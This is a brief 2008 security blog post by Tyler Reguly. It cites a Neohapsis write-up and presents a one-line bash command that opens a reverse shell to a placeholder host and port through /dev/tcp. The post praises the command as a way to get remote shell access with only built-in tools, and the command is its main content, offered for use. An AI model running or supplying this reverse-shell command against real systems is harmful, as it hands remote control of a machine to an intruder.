04.17.08

Bash-based Reverse Shell

Posted in IT, Security at 3:07 pm by Tyler Reguly

This is really cool... Neohapsis has a great blog post on how a one line bash shell command can create a reverse shell (via Infosec Ramblings).

Think about all those times when you needed a single command line to create a reverse shell... this will do it:

exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0

That's it.. plain and simple and you're done... no need for any outside tools...just the ability to run built in shell commands.